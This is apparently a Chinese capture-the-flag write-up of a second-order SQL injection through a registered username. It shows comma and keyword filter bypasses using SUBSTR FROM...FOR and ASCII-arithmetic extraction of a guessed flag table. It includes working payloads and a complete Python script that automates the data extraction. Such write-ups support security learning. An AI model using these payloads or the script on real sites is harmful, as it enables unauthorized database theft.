考点:目录扫描,SQL二次注入,SQL 注入过滤绕过,MySQL 隐式类型转换 + 数值运算回显,SQL盲注
打开靶机。

先用dirsearch扫一下。

能看到除了登录网页还有一个注册网页,进行访问,随便输入几个进行测试。


登陆成功,能看到回显了用户名,这就符合了SQL二次注入的一个特征,登录后用户名会显示在页面上,因此猜测是二次注入。
因为用户名处会回显,所以在用户名处测试注入。

sql
1'and'c
-
1'------ 闭合前面的单引号 -
and------ 逻辑与,用来测试布尔条件 -
'c------ 闭合后面的单引号
如果存在注入,最终SQL会变成类似:
sql
SELECT xxx FROM xxx WHERE username = '1'and'c'

用刚才注册的账号登录,发现用户名显示的不是 1'and'c,而是变成了 0。
这就证明存在注入,且听我慢慢道来原因。
为什么显示0?
MySQL有个特性:字符串和数字比较时,会把字符串转成数字再比。
-
'c'转成数字是0(因为开头不是数字) -
而在与或非的'与'中,1 and 0的结果是0(有0则0,全1则1) -
所以最终用户名显示成了
0
这说明我们输入的SQL语句**真的被执行了,**不是原样显示的字符串。
在bp用Fuzz测试后,发现过滤了逗号和information。
那怎么绕过逗号过滤呢?
SQL中的substr() 函数通常的用法是 substr(str, pos, length),需要逗号。
但 MySQL的 substr() 支持另一种语法:
sql
substr(str FROM pos FOR length)
对比一下。
sql
-- 普通写法(需要逗号,被过滤)
substr(database(), 1, 1)
-- 绕过写法(用FROM...FOR,不需要逗号)
substr(database() FROM 1 FOR 1)
所以,FROM 和 FOR 是SQL的关键字,专门用来替代逗号的。
那怎么绕过information过滤呢?
因为information_schema 被过滤了,所以我们没法查表名、字段名。
解决方法就是------直接猜, CTF题目里flag表的名字通常就叫 flag,字段名也通常就叫 flag。
那怎么验证我们猜对了呢?,可以用这行注入。
sql
select * from flag
-
如果表存在 → 能查到数据,返回结果
-
如果表不存在 → 报错,页面异常
现在我们知道:
-
注入点在用户名
-
可以执行SQL
-
逗号用
FROM...FOR绕过 -
表名猜是
flag
所以我们可以用 ascii() + substr() 逐位猜解flag的每一个字符的ASCII码,然后显示在用户名的位置。
sql
0'+ascii(substr((select * from flag) from 1 for 1))+'0
|---------------------------------------------|----------------------------|
| 0' | 闭合前面的单引号,同时给一个初始值0 |
| + | MySQL里的加号是数值加法,不是字符串拼接 |
| ascii(...) | 取字符的ASCII码值(数字) |
| substr((select * from flag) from 1 for 1) | 取flag表第1行第1个字符 |
| + | 继续加法 |
| '0 | 闭合后面的单引号,加0不影响结果 |
为什么用加法而不是直接显示?
因为显示的位置是"用户名",它期望的是一个字符串。但我们通过SQL注入让它变成了一个数字计算的结果。
执行效果:
sql
0 + ascii('f') + 0 = 0 + 102 + 0 = 102
因为手动盲注太过麻烦,所以我们可以用到自动化脚本。
python
#coding:utf-8
import requests
import re
url = 'https://65a8091d0c7ae0692f706f4c.http-ctf2.dasctf.com/'
m = ''
for i in range(100):
payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)
register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}
req = requests.session()
r1 = req.post(url+'register.php',data = register)
r2 = req.post(url+'login.php', data = login)
r3 = req.post(url+'index.php')
content = r3.text
con = re.findall('<span class="user-name">(.*?)</span>',content,re.S|re.M)
a = int (con[0].strip())
m = m+chr(a)
print(m)
